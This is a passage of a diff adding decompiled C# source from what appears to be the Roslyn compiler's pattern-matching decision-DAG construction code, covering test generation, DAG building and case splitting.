((HashSet)(object)usedValues).Add(Test.Input.Source); + } + return tests2; + } + } + else if (tests2 is Tests.Not not) + { + return Tests.Not.Create(scanAndSimplify(not.Negated)); + } + throw ExceptionUtilities.UnexpectedValue((object)tests2); + } + } + + private Tests MakeTestsAndBindings(BoundDagTemp input, BoundPattern pattern, ArrayBuilder bindings) + { + BoundDagTemp output; + return MakeTestsAndBindings(input, pattern, out output, bindings); + } + + private Tests MakeTestsAndBindings(BoundDagTemp input, BoundPattern pattern, out BoundDagTemp output, ArrayBuilder bindings) + { + if (!(pattern is BoundDeclarationPattern declaration)) + { + if (!(pattern is BoundConstantPattern constant)) + { + if (!(pattern is BoundDiscardPattern) && !(pattern is BoundSlicePattern)) + { + if (!(pattern is BoundListPattern list)) + { + if (!(pattern is BoundRecursivePattern recursive)) + { + if (!(pattern is BoundITuplePattern pattern2)) + { + if (!(pattern is BoundTypePattern typePattern)) + { + if (!(pattern is BoundRelationalPattern rel)) + { + if (!(pattern is BoundNegatedPattern neg)) + { + if (pattern is BoundBinaryPattern bin) + { + return MakeTestsAndBindingsForBinaryPattern(input, bin, out output, bindings); + } + throw ExceptionUtilities.UnexpectedValue((object)pattern.Kind); + } + output = input; + return MakeTestsAndBindingsForNegatedPattern(input, neg, bindings); + } + return MakeTestsAndBindingsForRelationalPattern(input, rel, out output); + } + return MakeTestsForTypePattern(input, typePattern, out output); + } + return MakeTestsAndBindingsForITuplePattern(input, pattern2, out output, bindings); + } + return MakeTestsAndBindingsForRecursivePattern(input, recursive, out output, bindings); + } + return MakeTestsAndBindingsForListPattern(input, list, out output, bindings); + } + output = input; + return Tests.True.Instance; + } + return MakeTestsForConstantPattern(input, constant, out output); + } + return MakeTestsAndBindingsForDeclarationPattern(input, declaration, out output, bindings); + } + + private Tests MakeTestsAndBindingsForITuplePattern(BoundDagTemp input, BoundITuplePattern pattern, out BoundDagTemp output, ArrayBuilder bindings) + { + SyntaxNode syntax = pattern.Syntax; + int length = pattern.Subpatterns.Length; + NamedTypeSymbol specialType = _compilation.GetSpecialType((SpecialType)1); + PropertySymbol propertySymbol = (PropertySymbol)pattern.GetLengthMethod.AssociatedSymbol; + PropertySymbol propertySymbol2 = (PropertySymbol)pattern.GetItemMethod.AssociatedSymbol; + NamedTypeSymbol containingType = propertySymbol.ContainingType; + ArrayBuilder instance = ArrayBuilder.GetInstance(4 + length * 2); + instance.Add((Tests)new Tests.One(new BoundDagTypeTest(syntax, containingType, input))); + BoundDagTypeEvaluation boundDagTypeEvaluation = new BoundDagTypeEvaluation(syntax, containingType, input); + instance.Add((Tests)new Tests.One(boundDagTypeEvaluation)); + BoundDagTemp input2 = (output = new BoundDagTemp(syntax, containingType, boundDagTypeEvaluation)); + BoundDagPropertyEvaluation boundDagPropertyEvaluation = new BoundDagPropertyEvaluation(syntax, propertySymbol, isLengthOrCount: true, OriginalInput(input2, propertySymbol)); + instance.Add((Tests)new Tests.One(boundDagPropertyEvaluation)); + BoundDagTemp input3 = new BoundDagTemp(syntax, _compilation.GetSpecialType((SpecialType)13), boundDagPropertyEvaluation); + instance.Add((Tests)new Tests.One(new BoundDagValueTest(syntax, ConstantValue.Create(length), input3))); + BoundDagTemp input4 = OriginalInput(input2, propertySymbol2); + for (int i = 0; i < length; i++) + { + BoundDagIndexEvaluation boundDagIndexEvaluation = new BoundDagIndexEvaluation(syntax, propertySymbol2, i, input4); + instance.Add((Tests)new Tests.One(boundDagIndexEvaluation)); + BoundDagTemp input5 = new BoundDagTemp(syntax, specialType, boundDagIndexEvaluation); + instance.Add(MakeTestsAndBindings(input5, pattern.Subpatterns[i].Pattern, bindings)); + } + return Tests.AndSequence.Create(instance); + } + + private BoundDagTemp OriginalInput(BoundDagTemp input, Symbol symbol) + { + while (input.Source is BoundDagTypeEvaluation boundDagTypeEvaluation && isDerivedType(boundDagTypeEvaluation.Input.Type, symbol.ContainingType)) + { + input = boundDagTypeEvaluation.Input; + } + return input; + bool isDerivedType(TypeSymbol possibleDerived, TypeSymbol possibleBase) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return _conversions.HasIdentityOrImplicitReferenceConversion(possibleDerived, possibleBase, ref useSiteInfo); + } + } + + private static BoundDagTemp OriginalInput(BoundDagTemp input) + { + while (input.Source is BoundDagTypeEvaluation boundDagTypeEvaluation) + { + input = boundDagTypeEvaluation.Input; + } + return input; + } + + private Tests MakeTestsAndBindingsForDeclarationPattern(BoundDagTemp input, BoundDeclarationPattern declaration, out BoundDagTemp output, ArrayBuilder bindings) + { + TypeSymbol type = declaration.DeclaredType?.Type; + ArrayBuilder instance = ArrayBuilder.GetInstance(1); + if (!declaration.IsVar) + { + input = MakeConvertToType(input, declaration.Syntax, type, isExplicitTest: false, instance); + } + BoundExpression variableAccess = declaration.VariableAccess; + if (variableAccess != null) + { + bindings.Add(new BoundPatternBinding(variableAccess, input)); + } + output = input; + return Tests.AndSequence.Create(instance); + } + + private Tests MakeTestsForTypePattern(BoundDagTemp input, BoundTypePattern typePattern, out BoundDagTemp output) + { + TypeSymbol type = typePattern.DeclaredType.Type; + ArrayBuilder instance = ArrayBuilder.GetInstance(4); + output = MakeConvertToType(input, typePattern.Syntax, type, typePattern.IsExplicitNotNullTest, instance); + return Tests.AndSequence.Create(instance); + } + + private static void MakeCheckNotNull(BoundDagTemp input, SyntaxNode syntax, bool isExplicitTest, ArrayBuilder tests) + { + if (input.Type.CanContainNull() && !(input.Source is BoundDagSliceEvaluation)) + { + tests.Add((Tests)new Tests.One(new BoundDagNonNullTest(syntax, isExplicitTest, input))); + } + } + + private BoundDagTemp MakeConvertToType(BoundDagTemp input, SyntaxNode syntax, TypeSymbol type, bool isExplicitTest, ArrayBuilder tests) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Invalid comparison between Unknown and I4 + MakeCheckNotNull(input, syntax, isExplicitTest, tests); + if (!input.Type.Equals(type, (TypeCompareKind)63)) + { + TypeSymbol source = input.Type.StrippedType(); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)_diagnostics, _compilation.Assembly); + Conversion conversion = _conversions.ClassifyBuiltInConversion(source, type, isChecked: false, ref useSiteInfo); + ((BindingDiagnosticBag)(object)_diagnostics).Add(syntax, useSiteInfo); + if (!(input.Type.IsDynamic() ? ((int)type.SpecialType == 1) : conversion.IsImplicit)) + { + tests.Add((Tests)new Tests.One(new BoundDagTypeTest(syntax, type, input))); + } + BoundDagTypeEvaluation boundDagTypeEvaluation = new BoundDagTypeEvaluation(syntax, type, input); + input = new BoundDagTemp(syntax, type, boundDagTypeEvaluation); + tests.Add((Tests)new Tests.One(boundDagTypeEvaluation)); + } + return input; + } + + private Tests MakeTestsForConstantPattern(BoundDagTemp input, BoundConstantPattern constant, out BoundDagTemp output) + { + if (constant.ConstantValue == ConstantValue.Null) + { + output = input; + return new Tests.One(new BoundDagExplicitNullTest(constant.Syntax, input)); + } + if (constant.ConstantValue.IsString && input.Type.IsSpanOrReadOnlySpanChar()) + { + output = input; + return new Tests.One(new BoundDagValueTest(constant.Syntax, constant.ConstantValue, input)); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(2); + TypeSymbol type = constant.Value.Type; + output = (input = (((object)type != null) ? MakeConvertToType(input, constant.Syntax, type, isExplicitTest: false, instance) : input)); + IValueSetFactory? valueSetFactory = ValueSetFactory.ForInput(input); + if (valueSetFactory != null && valueSetFactory.Related(BinaryOperatorKind.Equal, constant.ConstantValue).IsEmpty) + { + instance.Add((Tests)Tests.False.Instance); + } + else + { + instance.Add((Tests)new Tests.One(new BoundDagValueTest(constant.Syntax, constant.ConstantValue, input))); + } + return Tests.AndSequence.Create(instance); + } + + private Tests MakeTestsAndBindingsForRecursivePattern(BoundDagTemp input, BoundRecursivePattern recursive, out BoundDagTemp output, ArrayBuilder bindings) + { + TypeSymbol typeSymbol = recursive.DeclaredType?.Type ?? input.Type.StrippedType(); + ArrayBuilder tests = ArrayBuilder.GetInstance(5); + output = (input = MakeConvertToType(input, recursive.Syntax, typeSymbol, recursive.IsExplicitNotNullTest, tests)); + if (!recursive.Deconstruction.IsDefault) + { + if (recursive.DeconstructMethod != null) + { + MethodSymbol deconstructMethod = recursive.DeconstructMethod; + BoundDagDeconstructEvaluation boundDagDeconstructEvaluation = new BoundDagDeconstructEvaluation(recursive.Syntax, deconstructMethod, OriginalInput(input, deconstructMethod)); + tests.Add((Tests)new Tests.One(boundDagDeconstructEvaluation)); + int num = (deconstructMethod.IsStatic ? 1 : 0); + int num2 = Math.Min(deconstructMethod.ParameterCount - num, recursive.Deconstruction.Length); + for (int i = 0; i < num2; i++) + { + BoundPattern pattern = recursive.Deconstruction[i].Pattern; + BoundDagTemp input2 = new BoundDagTemp(pattern.Syntax, deconstructMethod.Parameters[i + num].Type, boundDagDeconstructEvaluation, i); + tests.Add(MakeTestsAndBindings(input2, pattern, bindings)); + } + } + else if (!Binder.IsZeroElementTupleType(typeSymbol)) + { + if (typeSymbol.IsTupleType) + { + ImmutableArray tupleElements = typeSymbol.TupleElements; + int num3 = Math.Min(typeSymbol.TupleElementTypesWithAnnotations.Length, recursive.Deconstruction.Length); + for (int j = 0; j < num3; j++) + { + BoundPattern pattern2 = recursive.Deconstruction[j].Pattern; + SyntaxNode syntax = pattern2.Syntax; + FieldSymbol fieldSymbol = tupleElements[j]; + BoundDagFieldEvaluation boundDagFieldEvaluation = new BoundDagFieldEvaluation(syntax, fieldSymbol, OriginalInput(input, fieldSymbol)); + tests.Add((Tests)new Tests.One(boundDagFieldEvaluation)); + BoundDagTemp input3 = new BoundDagTemp(syntax, fieldSymbol.Type, boundDagFieldEvaluation); + tests.Add(MakeTestsAndBindings(input3, pattern2, bindings)); + } + } + else + { + tests.Add((Tests)new Tests.One(new BoundDagTypeTest(recursive.Syntax, ErrorType(), input, hasErrors: true))); + } + } + } + if (!recursive.Properties.IsDefault) + { + ImmutableArray.Enumerator enumerator = recursive.Properties.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundPropertySubpattern current = enumerator.Current; + BoundPattern pattern3 = current.Pattern; + BoundDagTemp input4 = input; + if (!tryMakeTestsForSubpatternMember(current.Member, ref input4, current.IsLengthOrCount)) + { + tests.Add((Tests)new Tests.One(new BoundDagTypeTest(recursive.Syntax, ErrorType(), input, hasErrors: true))); + } + else + { + tests.Add(MakeTestsAndBindings(input4, pattern3, bindings)); + } + } + } + if (recursive.VariableAccess != null) + { + bindings.Add(new BoundPatternBinding(recursive.VariableAccess, input)); + } + return Tests.AndSequence.Create(tests); + bool tryMakeTestsForSubpatternMember([NotNullWhen(true)] BoundPropertySubpatternMember? member, ref BoundDagTemp reference, bool isLengthOrCount) + { + if (member == null) + { + return false; + } + if (tryMakeTestsForSubpatternMember(member.Receiver, ref reference, isLengthOrCount: false)) + { + reference = MakeConvertToType(reference, member.Syntax, member.Receiver.Type.StrippedType(), isExplicitTest: false, tests); + } + Symbol symbol = member.Symbol; + BoundDagEvaluation boundDagEvaluation; + if (!(symbol is PropertySymbol propertySymbol)) + { + if (!(symbol is FieldSymbol fieldSymbol2)) + { + return false; + } + boundDagEvaluation = new BoundDagFieldEvaluation(member.Syntax, fieldSymbol2, OriginalInput(reference, fieldSymbol2)); + } + else + { + boundDagEvaluation = new BoundDagPropertyEvaluation(member.Syntax, propertySymbol, isLengthOrCount, OriginalInput(reference, propertySymbol)); + } + tests.Add((Tests)new Tests.One(boundDagEvaluation)); + reference = new BoundDagTemp(member.Syntax, member.Type, boundDagEvaluation); + return true; + } + } + + private Tests MakeTestsAndBindingsForNegatedPattern(BoundDagTemp input, BoundNegatedPattern neg, ArrayBuilder bindings) + { + return Tests.Not.Create(MakeTestsAndBindings(input, neg.Negated, bindings)); + } + + private Tests MakeTestsAndBindingsForBinaryPattern(BoundDagTemp input, BoundBinaryPattern bin, out BoundDagTemp output, ArrayBuilder bindings) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(2); + if (bin.Disjunction) + { + instance.Add(MakeTestsAndBindings(input, bin.Left, bindings)); + instance.Add(MakeTestsAndBindings(input, bin.Right, bindings)); + Tests tests = Tests.OrSequence.Create(instance); + if (bin.InputType.Equals(bin.NarrowedType)) + { + output = input; + return tests; + } + instance = ArrayBuilder.GetInstance(2); + instance.Add(tests); + output = MakeConvertToType(input, bin.Syntax, bin.NarrowedType, isExplicitTest: false, instance); + return Tests.AndSequence.Create(instance); + } + instance.Add(MakeTestsAndBindings(input, bin.Left, out BoundDagTemp output2, bindings)); + instance.Add(MakeTestsAndBindings(output2, bin.Right, out BoundDagTemp output3, bindings)); + output = output3; + return Tests.AndSequence.Create(instance); + } + + private Tests MakeTestsAndBindingsForRelationalPattern(BoundDagTemp input, BoundRelationalPattern rel, out BoundDagTemp output) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(2); + output = MakeConvertToType(input, rel.Syntax, rel.Value.Type, isExplicitTest: false, instance); + IValueSet valueSet = ValueSetFactory.ForInput(output)?.Related(rel.Relation.Operator(), rel.ConstantValue); + if (valueSet != null && valueSet.IsEmpty) + { + instance.Add((Tests)Tests.False.Instance); + } + else if (valueSet == null || !valueSet.Complement().IsEmpty) + { + instance.Add((Tests)new Tests.One(new BoundDagRelationalTest(rel.Syntax, rel.Relation, rel.ConstantValue, output, rel.HasErrors))); + } + return Tests.AndSequence.Create(instance); + } + + private TypeSymbol ErrorType(string name = "") + { + return new ExtendedErrorTypeSymbol(_compilation, name, 0, null); + } + + private BoundDecisionDag MakeBoundDecisionDag(SyntaxNode syntax, ref TemporaryArray cases) + { + PooledDictionary val = s_uniqueStatePool.Allocate(); + DecisionDag decisionDag = MakeDecisionDag(ref cases, (Dictionary)(object)val); + BoundLeafDecisionDagNode defaultDecision = new BoundLeafDecisionDagNode(syntax, _defaultLabel); + ComputeBoundDecisionDagNodes(decisionDag, defaultDecision); + BoundDecisionDagNode dag = decisionDag.RootNode.Dag; + BoundDecisionDag result = new BoundDecisionDag(dag.Syntax, dag); + foreach (KeyValuePair item in (Dictionary)(object)val) + { + item.Key.ClearAndFree(); + } + val.Free(); + return result; + } + + private DecisionDag MakeDecisionDag(ref TemporaryArray casesForRootNode, Dictionary uniqueState) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + TemporaryArray workList = TemporaryArray.Empty; + try + { + ArrayBuilder instance = ArrayBuilder.GetInstance(casesForRootNode.Count); + Enumerator enumerator = casesForRootNode.GetEnumerator(); + while (enumerator.MoveNext()) + { + StateForCase stateForCase = enumerator.Current.RewriteNestedLengthTests(); + if (!stateForCase.IsImpossible) + { + instance.Add(stateForCase); + if (stateForCase.IsFullyMatched) + { + break; + } + } + } + DagState rootNode = uniquifyState(new FrozenArrayBuilder(instance), ImmutableDictionary.Empty); + while (workList.Count != 0) + { + DagState dagState = workList.RemoveLast(); + if (dagState.Cases.Count == 0) + { + continue; + } + StateForCase stateForCase2 = dagState.Cases[0]; + if (stateForCase2.PatternIsSatisfied) + { + if (!stateForCase2.IsFullyMatched) + { + FrozenArrayBuilder cases = dagState.Cases.RemoveAt(0); + dagState.FalseBranch = uniquifyState(cases, dagState.RemainingValues); + } + continue; + } + BoundDagTest boundDagTest = (dagState.SelectedTest = dagState.ComputeSelectedTest()); + BoundDagEvaluation boundDagEvaluation; + if (!(boundDagTest is BoundDagAssignmentEvaluation boundDagAssignmentEvaluation)) + { + boundDagEvaluation = boundDagTest as BoundDagEvaluation; + if (boundDagEvaluation == null) + { + if (boundDagTest != null) + { + BoundDagTest boundDagTest2 = boundDagTest; + bool foundExplicitNullTest = false; + SplitCases(dagState, boundDagTest2, out FrozenArrayBuilder whenTrue, out ImmutableDictionary whenTrueValues, out FrozenArrayBuilder whenFalse, out ImmutableDictionary whenFalseValues, ref foundExplicitNullTest); + dagState.TrueBranch = uniquifyState(whenTrue, whenTrueValues); + dagState.FalseBranch = uniquifyState(whenFalse, whenFalseValues); + if (foundExplicitNullTest && boundDagTest2 is BoundDagNonNullTest { IsExplicitTest: false } boundDagNonNullTest) + { + dagState.SelectedTest = new BoundDagNonNullTest(boundDagNonNullTest.Syntax, isExplicitTest: true, boundDagNonNullTest.Input, boundDagNonNullTest.HasErrors); + } + continue; + } + throw ExceptionUtilities.UnexpectedValue((object)boundDagTest.Kind); + } + } + else + { + BoundDagAssignmentEvaluation boundDagAssignmentEvaluation2 = boundDagAssignmentEvaluation; + if (dagState.RemainingValues.TryGetValue(boundDagAssignmentEvaluation2.Input, out IValueSet value)) + { + if (dagState.RemainingValues.TryGetValue(boundDagAssignmentEvaluation2.Target, out IValueSet value2)) + { + value = value.Intersect(value2); + } + dagState.TrueBranch = uniquifyState(RemoveEvaluation(dagState.Cases, boundDagAssignmentEvaluation2), dagState.RemainingValues.SetItem(boundDagAssignmentEvaluation2.Target, value)); + continue; + } + boundDagEvaluation = (BoundDagEvaluation)boundDagTest; + } + BoundDagEvaluation e = boundDagEvaluation; + dagState.TrueBranch = uniquifyState(RemoveEvaluation(dagState.Cases, e), dagState.RemainingValues); + } + return new DecisionDag(rootNode); + } + finally + { + ((IDisposable)workList/*cast due to constrained. prefix*/).Dispose(); + } + DagState uniquifyState(FrozenArrayBuilder cases2, ImmutableDictionary remainingValues) + { + DagState instance2 = DagState.GetInstance(cases2, remainingValues); + if (uniqueState.TryGetValue(instance2, out DagState value3)) + { + instance2.ClearAndFree(); + instance2 = null; + ImmutableDictionary.Builder newRemainingValues = ImmutableDictionary.CreateBuilder(); + BoundDagTemp boundDagTemp = default(BoundDagTemp); + IValueSet valueSet = default(IValueSet); + foreach (KeyValuePair remainingValue in remainingValues) + { + KeyValuePairUtil.Deconstruct(remainingValue, ref boundDagTemp, ref valueSet); + BoundDagTemp key = boundDagTemp; + IValueSet other = valueSet; + if (value3.RemainingValues.TryGetValue(key, out IValueSet value4)) + { + IValueSet value5 = value4.Union(other); + newRemainingValues.Add(key, value5); + } + } + if (value3.RemainingValues.Count != newRemainingValues.Count || !value3.RemainingValues.All>((KeyValuePair kv) => newRemainingValues.TryGetValue(kv.Key, out IValueSet value6) && kv.Value.Equals(value6))) + { + value3.UpdateRemainingValues(newRemainingValues.ToImmutable()); + if (!workList.Contains(value3)) + { + workList.Add(value3); + } + } + return value3; + } + uniqueState.Add(instance2, instance2); + workList.Add(instance2); + return instance2; + } + } + + private void ComputeBoundDecisionDagNodes(DecisionDag decisionDag, BoundLeafDecisionDagNode defaultDecision) + { + if (!decisionDag.TryGetTopologicallySortedReachableStates(out ImmutableArray result)) + { + decisionDag.RootNode.Dag = defaultDecision; + return; + } + PooledDictionary uniqueNodes = PooledDictionary.GetInstance(); + uniqifyDagNode(defaultDecision); + for (int num = result.Length - 1; num >= 0; num--) + { + DagState dagState = result[num]; + if (dagState.Cases.Count == 0) + { + dagState.Dag = defaultDecision; + } + else + { + StateForCase stateForCase = dagState.Cases[0]; + if (stateForCase.PatternIsSatisfied) + { + if (stateForCase.IsFullyMatched) + { + dagState.Dag = finalState(stateForCase.Syntax, stateForCase.CaseLabel, stateForCase.Bindings); + } + else + { + BoundDecisionDagNode whenTrue = finalState(stateForCase.Syntax, stateForCase.CaseLabel, default(ImmutableArray)); + BoundDecisionDagNode dag = dagState.FalseBranch.Dag; + dagState.Dag = uniqifyDagNode(new BoundWhenDecisionDagNode(stateForCase.Syntax, stateForCase.Bindings, stateForCase.WhenClause, whenTrue, dag)); + } + } + else + { + BoundDagTest selectedTest = dagState.SelectedTest; + if (!(selectedTest is BoundDagEvaluation boundDagEvaluation)) + { + if (selectedTest == null) + { + throw ExceptionUtilities.UnexpectedValue((object)selectedTest?.Kind); + } + BoundDecisionDagNode dag2 = dagState.TrueBranch.Dag; + BoundDecisionDagNode dag3 = dagState.FalseBranch.Dag; + dagState.Dag = uniqifyDagNode(new BoundTestDecisionDagNode(selectedTest.Syntax, selectedTest, dag2, dag3)); + } + else + { + BoundDecisionDagNode dag4 = dagState.TrueBranch.Dag; + dagState.Dag = uniqifyDagNode(new BoundEvaluationDecisionDagNode(boundDagEvaluation.Syntax, boundDagEvaluation, dag4)); + } + } + } + } + uniqueNodes.Free(); + BoundDecisionDagNode finalState(SyntaxNode syntax, LabelSymbol label, ImmutableArray bindings) + { + BoundDecisionDagNode boundDecisionDagNode = uniqifyDagNode(new BoundLeafDecisionDagNode(syntax, label)); + if (!bindings.IsDefaultOrEmpty) + { + return uniqifyDagNode(new BoundWhenDecisionDagNode(syntax, bindings, null, boundDecisionDagNode, null)); + } + return boundDecisionDagNode; + } + BoundDecisionDagNode uniqifyDagNode(BoundDecisionDagNode node) + { + return DictionaryExtensions.GetOrAdd((Dictionary)(object)uniqueNodes, node, node); + } + } + + private void SplitCase(DagState state, StateForCase stateForCase, BoundDagTest test, IValueSet? whenTrueValues, IValueSet? whenFalseValues, out StateForCase whenTrue, out StateForCase whenFalse, ref bool foundExplicitNullTest) + { + stateForCase.RemainingTests.Filter(this, test, state, whenTrueValues, whenFalseValues, out Tests whenTrue2, out Tests whenFalse2, ref foundExplicitNullTest); + whenTrue = stateForCase.WithRemainingTests(whenTrue2); + whenFalse = stateForCase.WithRemainingTests(whenFalse2); + } + + private void SplitCases(DagState state, BoundDagTest test, out FrozenArrayBuilder whenTrue, out ImmutableDictionary whenTrueValues, out FrozenArrayBuilder whenFalse, out ImmutableDictionary whenFalseValues, ref bool foundExplicitNullTest) + { + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + FrozenArrayBuilder cases = state.Cases; + ArrayBuilder instance = ArrayBuilder.GetInstance(cases.Count); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(cases.Count); + bool flag; + bool flag2; + (whenTrueValues, whenFalseValues, flag, flag2) = SplitValues(state.RemainingValues, test); + whenTrueValues.TryGetValue(test.Input, out IValueSet value); + whenFalseValues.TryGetValue(test.Input, out IValueSet value2); + Enumerator enumerator = cases.GetEnumerator(); + while (enumerator.MoveNext()) + { + StateForCase current = enumerator.Current; + SplitCase(state, current, test, value, value2, out var whenTrue2, out var whenFalse2, ref foundExplicitNullTest); + if (flag && !whenTrue2.IsImpossible && (!instance.Any() || !instance.Last().IsFullyMatched)) + { + instance.Add(whenTrue2); + } + if (flag2 && !whenFalse2.IsImpossible && (!instance2.Any() || !instance2.Last().IsFullyMatched)) + { + instance2.Add(whenFalse2); + } + } + whenTrue = AsFrozen(instance); + whenFalse = AsFrozen(instance2); + } + + private static (ImmutableDictionary whenTrueValues, ImmutableDictionary whenFalseValues, bool truePossible, bool falsePossible) SplitValues(ImmutableDictionary values, BoundDagTest test) + { + if (!(test is BoundDagEvaluation) && !(test is BoundDagExplicitNullTest) && !(test is BoundDagNonNullTest) && !(test is BoundDagTypeTest)) + { + if (!(test is BoundDagValueTest boundDagValueTest)) + { + if (test is BoundDagRelationalTest boundDagRelationalTest) + { + return resultForRelation(boundDagRelationalTest.Relation, boundDagRelationalTest.Value); + } + throw ExceptionUtilities.UnexpectedValue((object)test); + } + return resultForRelation(BinaryOperatorKind.Equal, boundDagValueTest.Value); + } + return (whenTrueValues: values, whenFalseValues: values, truePossible: true, falsePossible: true); + (ImmutableDictionary whenTrueValues, ImmutableDictionary whenFalseValues, bool truePossible, bool falsePossible) resultForRelation(BinaryOperatorKind relation, ConstantValue value) + { + BoundDagTemp input = test.Input; + IValueSetFactory valueSetFactory = ValueSetFactory.ForInput(input); + if (valueSetFactory == null || value.IsBad) + { + return (whenTrueValues: values, whenFalseValues: values, truePossible: true, falsePossible: true); + } + IValueSet valueSet = valueSetFactory.Related(relation.Operator(), value); + IValueSet valueSet2 = valueSet.Complement(); + if (values.TryGetValue(input, out IValueSet value2)) + { + valueSet = valueSet.Intersect(value2); + valueSet2 = valueSet2.Intersect(value2); + } + ImmutableDictionary item = values.SetItem(input, valueSet); + ImmutableDictionary item2 = values.SetItem(input, valueSet2); + return (whenTrueValues: item, whenFalseValues: item2, truePossible: !valueSet.IsEmpty, falsePossible: !valueSet2.IsEmpty); + } + } + + private static (BoundDagTemp? lengthTemp, int offset) TryGetTopLevelLengthTemp(BoundDagPropertyEvaluation e) + { + int num = 0; + BoundDagTemp input = e.Input; + BoundDagTemp item = null; + while (input.Source is BoundDagSliceEvaluation boundDagSliceEvaluation) + { + num += boundDagSliceEvaluation.StartIndex - boundDagSliceEvaluation.EndIndex; + item = boundDagSliceEvaluation.LengthTemp; + input = boundDagSliceEvaluation.Input; + } + return (lengthTemp: item, offset: num); + } + + private static (BoundDagTemp input, BoundDagTemp lengthTemp, int index) GetCanonicalInput(BoundDagIndexerEvaluation e) + { + int num = e.Index; + BoundDagTemp input = e.Input; + BoundDagTemp lengthTemp = e.LengthTemp; + while (input.Source is BoundDagSliceEvaluation boundDagSliceEvaluation) + { + num = ((num < 0) ? (num - boundDagSliceEvaluation.EndIndex) : (num + boundDagSliceEvaluation.StartIndex)); + lengthTemp = boundDagSliceEvaluation.LengthTemp; + input = boundDagSliceEvaluation.Input; + } + return (input: OriginalInput(input), lengthTemp: lengthTemp, index: num); + } + + private static FrozenArrayBuilder RemoveEvaluation(FrozenArrayBuilder cases, BoundDagEvaluation e) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(cases.Count); + Enumerator enumerator = cases.GetEnumerator(); + while (enumerator.MoveNext()) + { + StateForCase current = enumerator.Current; + Tests tests = current.RemainingTests.RemoveEvaluation(e); + if (!(tests is Tests.False)) + { + instance.Add(new StateForCase(current.Index, current.Syntax, tests, current.Bindings, current.WhenClause, current.CaseLabel)); + } + } + return AsFrozen(instance); + } + + private void CheckConsistentDecision(BoundDagTest test, BoundDagTest other, IValueSet? whenTrueValues, IValueSet? whenFalseValues, SyntaxNode syntax, out bool trueTestPermitsTrueOther, out bool falseTestPermitsTrueOther, out bool trueTestImpliesTrueOther, out bool falseTestImpliesTrueOther, ref bool foundExplicitNullTest) + { + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + trueTestPermitsTrueOther = true; + falseTestPermitsTrueOther = true; + trueTestImpliesTrueOther = false; + falseTestImpliesTrueOther = false; + if (!(test is BoundDagNonNullTest)) + { + if (!(test is BoundDagTypeTest boundDagTypeTest)) + { + if (!(test is BoundDagValueTest) && !(test is BoundDagRelationalTest)) + { + if (!(test is BoundDagExplicitNullTest)) + { + return; + } + foundExplicitNullTest = true; + if (!(other is BoundDagNonNullTest boundDagNonNullTest)) + { + if (!(other is BoundDagTypeTest)) + { + if (!(other is BoundDagExplicitNullTest)) + { + if (other is BoundDagValueTest) + { + trueTestPermitsTrueOther = false; + } + } + else + { + foundExplicitNullTest = true; + trueTestImpliesTrueOther = true; + falseTestPermitsTrueOther = false; + } + } + else + { + trueTestPermitsTrueOther = false; + } + } + else + { + if (boundDagNonNullTest.IsExplicitTest) + { + foundExplicitNullTest = true; + } + trueTestPermitsTrueOther = false; + falseTestImpliesTrueOther = true; + } + } + else if (!(other is BoundDagNonNullTest boundDagNonNullTest2)) + { + if (!(other is BoundDagExplicitNullTest)) + { + if (!(other is BoundDagRelationalTest boundDagRelationalTest)) + { + if (other is BoundDagValueTest boundDagValueTest) + { + handleRelationWithValue(BinaryOperatorKind.Equal, boundDagValueTest.Value, out trueTestPermitsTrueOther, out falseTestPermitsTrueOther, out trueTestImpliesTrueOther, out falseTestImpliesTrueOther); + } + } + else + { + handleRelationWithValue(boundDagRelationalTest.Relation, boundDagRelationalTest.Value, out trueTestPermitsTrueOther, out falseTestPermitsTrueOther, out trueTestImpliesTrueOther, out falseTestImpliesTrueOther); + } + } + else + { + foundExplicitNullTest = true; + trueTestPermitsTrueOther = false; + } + } + else + { + if (boundDagNonNullTest2.IsExplicitTest) + { + foundExplicitNullTest = true; + } + trueTestImpliesTrueOther = true; + } + } + else if (!(other is BoundDagNonNullTest boundDagNonNullTest3)) + { + if (!(other is BoundDagTypeTest boundDagTypeTest2)) + { + if (other is BoundDagExplicitNullTest) + { + foundExplicitNullTest = true; + trueTestPermitsTrueOther = false; + } + return; + } + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)_diagnostics, _compilation.Assembly); + ConstantValue val = ExpressionOfTypeMatchesPatternTypeForLearningFromSuccessfulTypeTest(boundDagTypeTest.Type, boundDagTypeTest2.Type, ref useSiteInfo); + if (val == ConstantValue.False) + { + trueTestPermitsTrueOther = false; + } + else if (val == ConstantValue.True) + { + trueTestImpliesTrueOther = true; + } + val = Binder.ExpressionOfTypeMatchesPatternType(_conversions, boundDagTypeTest2.Type, boundDagTypeTest.Type, ref useSiteInfo, out var _); + ((BindingDiagnosticBag)(object)_diagnostics).Add(syntax, useSiteInfo); + if (val == ConstantValue.True) + { + falseTestPermitsTrueOther = false; + } + } + else + { + if (boundDagNonNullTest3.IsExplicitTest) + { + foundExplicitNullTest = true; + } + trueTestImpliesTrueOther = true; + } + } + else if (!(other is BoundDagValueTest)) + { + if (!(other is BoundDagExplicitNullTest)) + { + if (other is BoundDagNonNullTest boundDagNonNullTest4) + { + if (boundDagNonNullTest4.IsExplicitTest) + { + foundExplicitNullTest = true; + } + trueTestImpliesTrueOther = true; + falseTestPermitsTrueOther = false; + } + else + { + 